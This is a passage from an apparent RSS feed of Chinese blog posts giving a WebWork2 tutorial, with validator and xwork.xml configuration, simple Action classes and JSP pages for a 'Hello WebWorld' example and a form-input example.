<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE validators PUBLIC "-//OpenSymphony Group//XWork Validator</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">1.0//EN" "http://www.opensymphony.com/xwork/xwork-validator-1.0.dtd"&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;validators&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="required"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.RequiredFieldValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="requiredstring"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.RequiredStringValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="int"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.IntRangeFieldValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="date"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.DateRangeFieldValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="expression"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.ExpressionValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="fieldexpression"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.FieldExpressionValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="email"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.EmailValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="url"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.URLValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="visitor"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.VisitorFieldValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;validator name="conversion"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>class="com.opensymphony.xwork.validator.validators.ConversionErrorFieldValidator"/&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/validators&gt;</font></font></span></pre>
</div>
<p><span>这个文件定义可以使用的有效</span><span><font face=Century>Validators</font></span><span>。</span></p>
<img src ="http://www.blogjava.net/junky/aggbug/126725.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-06-28 09:41 <a href="http://www.blogjava.net/junky/archive/2007/06/28/126725.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WebWork2教程（中文版）(3)</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126724.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 01:41:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126724.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126724.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126724.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126724.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126724.html</trackback:ping><description><![CDATA[<p><span><font face=Century>3</font></span><span>、</span><span><font face=Century>Actions</font></span><span>和</span><span><font face=Century>Results</font></span></p>
<p><span><font face=Century>Actions</font></span><span>是基本执行单元，在</span><span><font face=Century>WebWork</font></span><span>配置中注册，用来响应特定的请求。在</span><span><font face=Century>MVC</font></span><span>中，</span><span><font face=Century>Actions</font></span><span>是控制部分。下面是在</span><span><font face=Century>WebWork</font></span><span>中创建</span><span><font face=Century>Action</font></span><span>的基本步骤：</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>创建调用</span><span><font face=Century>Action</font></span><span>的</span><span><font face=Century>JSP</font></span><span>页；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>创建</span><span><font face=Century>Action</font></span><span>类；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>创建处理</span><span><font face=Century>Action</font></span><span>返回结果的</span><span><font face=Century>JSP</font></span><span>页；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>在</span><span><font face=Century>xwork.xml</font></span><span>中注册</span><span><font face=Century>Action</font></span><span>；</span></p>
<p><span>（</span><span><font face=Century>1</font></span><span>）</span><span><font face=Century>Hello WebWorld</font></span><span>的例子</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><font face=Century>xwork.xml</font></span><span>文件内容如下：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Include webwork defaults (from WebWork-2.1 JAR). --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;include file="webwork-default.xml" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Configuration for the default package. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="default" extends="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Default interceptor stack. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;default-interceptor-ref name="defaultStack" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Action: Lesson 03: HelloWebWorldAction. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;action name="helloWebWorld" class="lesson03.HelloWebWorldAction"&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="dispatcher"&gt;ex01-success.jsp&lt;/result&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/action&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><span>配置文件告诉</span><span><font face=Century>WebWork</font></span><span>，有一个叫</span><span><font face=Century>helloWebWorld</font></span><span>的</span><span><font face=Century>Action</font></span><span>，由</span><span><font face=Century>lesson03.HelloWebWorldAction</font></span><span>实现；同时定义了一个叫</span><span><font face=Century>success</font></span><span>的结果，指向</span><span><font face=Century>ex01-success.jsp</font></span><span>页面；</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>调用</span><span><font face=Century>Action</font></span><span>的页面</span><span><font face=Century>ex01-index.jsp</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 3 - Example 1&lt;/title&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;Click the button below to activate HelloWebWorldAction.&lt;/p&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;form action="helloWebWorld.action" method="post"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;&lt;input type="submit" value="Hello!" /&gt;&lt;/p&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/form&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span>当点击页面的按钮时，浏览器提交表单数据给</span><span><font face=Century>helloWebWorld.action</font></span><span>；既然</span><span><font face=Century>URL</font></span><span>匹配映射</span><span><font face=Century>*.action</font></span><span>，</span><span><font face=Century>Servlet</font></span><span>容器激活</span><span><font face=Century>WebWork</font></span><span>的</span><span><font face=Century>ServletDispatcher</font></span><span>；</span><span><font face=Century>ServletDispatcher</font></span><span>读取</span><span><font face=Century>xwork.xml</font></span><span>，查找名为</span><span><font face=Century>helloWebWorld</font></span><span>的</span><span><font face=Century>Action</font></span><span>，如果找到就</span><span>创建</span><span><font face=Century>Action</font></span><span>类的一个新实例，调用</span><span><font face=Century>execute()</font></span><span>方法</span></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><font face=Century>Action</font></span><span>类：</span><span><font face=Century>HelloWebWorldAction.java</font></span></p>
<div>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>package</font></span></span><span> lesson03; </span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>import</font></span></span><span> com.opensymphony.xwork.ActionSupport; </span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>public</font></span></span><span> class HelloWebWorldAction </span><span><span><font color=#000066>extends</font></span></span><span> ActionSupport { </span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#660066>String</font></span></span><span> hello; </span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> </span><span><span><font color=#660066>String</font></span></span><span> getHello() { </span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>return</font></span></span><span> hello; </span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> </span><span><span><font color=#660066>String</font></span></span><span> execute() </span><span><span><font color=#000066>throws</font></span></span><span> Exception { </span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>hello = "Hello, WebWorld!"; </font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>return</font></span></span><span> SUCCESS; </span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>} </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">}</font></font></span></pre>
</div>
<p><span><font face=Century>Action</font></span><span>类继承</span><span><font face=Century>com.opensymphony.xwork.ActionSupport</font></span><span>，并实现</span><span><font face=Century>execute()</font></span><span>方法；</span><span><font face=Century>execute()</font></span><span>方法的返回值</span><span><font face=Century>SUCCESS</font></span><span>和</span><span><font face=Century>success</font></span><span>（</span><span><font face=Century>&lt;result&gt;</font></span><span>的</span><span><font face=Century>name</font></span><span>属性值）对应；</span><span><font face=Century>ServletDispatcher</font></span><span>查找名字相匹配的</span><span><font face=Century>result</font></span><span>，转移到指定的</span><span><font face=Century>JSP</font></span><span>页</span><font face=Century><span>ex01-success.jsp</span></font></p>
<p><span>l<span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span>结果显示</span><span><font face=Century>JSP</font></span><span>页</span><span><font face=Century>ex01-success.jsp</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;%@ taglib uri="webwork" prefix="ww" %&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 3 - Example 1&lt;/title&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;ww:property value="hello" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
<p><span><font face=Century>&lt;ww:property value="hello" /&gt;</font></span><span>在</span><span><font face=Century>Action</font></span><span>类中查找</span><span><font face=Century>hello</font></span><span>属性，调用</span><span><font face=Century>hello</font></span><span>属性的</span><span><font face=Century>setter</font></span><span>方法获得属性值（在</span><span><font face=Century>execute()</font></span><span>中已经设置），显示</span><font face=Century><span>Hello, WebWorld!</span></font></p>
<p><span>（</span><span><font face=Century>2</font></span><span>）向</span><span><font face=Century>Action</font></span><span>提供数据的例子</span></p>
<p><span><font face=Century>xwork.xml</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;!DOCTYPE xwork PUBLIC "-//OpenSymphony Group//XWork 1.0//EN"</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">"http://www.opensymphony.com/xwork/xwork-1.0.dtd"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;xwork&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Include webwork defaults (from WebWork-2.1 JAR). --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;include file="webwork-default.xml" /&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Configuration for the default package. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;package name="default" extends="webwork-default"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Default interceptor stack. --&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;default-interceptor-ref name="defaultStack" /&gt; </font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;!-- Action: Lesson 03: HelloAction. --&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;action name="hello" class="lesson03.HelloAction"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="error" type="dispatcher"&gt;ex02-index.jsp&lt;/result&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;result name="success" type="dispatcher"&gt;ex02-success.jsp&lt;/result&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/action&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>&lt;/package&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/xwork&gt;</font></font></span></pre>
</div>
<p><font face=Century><span>HelloAction</span><span>.java</span></font><span>：</span></p>
<div>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>package</font></span></span><span> lesson03;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>import</font></span></span><span> com.opensymphony.xwork.ActionSupport;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span><font color=#000066>public</font></span></span><span> class HelloAction </span><span><span><font color=#000066>extends</font></span></span><span> ActionSupport {</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#660066>String</font></span></span><span> person;</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> </span><span><span><font color=#660066>String</font></span></span><span> getPerson() {</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>return</font></span></span><span> person;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> void setPerson(</span><span><span><font color=#660066>String</font></span></span><span> person) {</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>this</font></span></span><span>.person = person;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>public</font></span></span><span> </span><span><span><font color=#660066>String</font></span></span><span> execute() </span><span><span><font color=#000066>throws</font></span></span><span> Exception {</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>if</font></span></span><span> ((person == </span><span><span><font color=#000066>null</font></span></span><span>) || (person.length() == 0)) </span><span><span><font color=#000066>return</font></span></span><span> ERROR;</span></font></font></pre>
<pre><font size=2><font face="ＭＳ ゴシック"><span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span><span><font color=#000066>else</font></span></span><span> </span><span><span><font color=#000066>return</font></span></span><span> SUCCESS;</span></font></font></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">}</font></font></span></pre>
</div>
<p><span><font face=Century>ex02-index.jsp</font></span><span>：</span></p>
<div>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;html&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;title&gt;WebWork Tutorial - Lesson 3 - Example 2&lt;/title&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/head&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;What's your name?&lt;/p&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;form action="hello.action" method="post"&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;p&gt;&lt;input type="text" name="person" /&gt;&lt;input type="submit" /&gt;&lt;/p&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/form&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&nbsp;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/body&gt;</font></font></span></pre>
<pre><span><font size=2><font face="ＭＳ ゴシック">&lt;/html&gt;</font></font></span></pre>
</div>
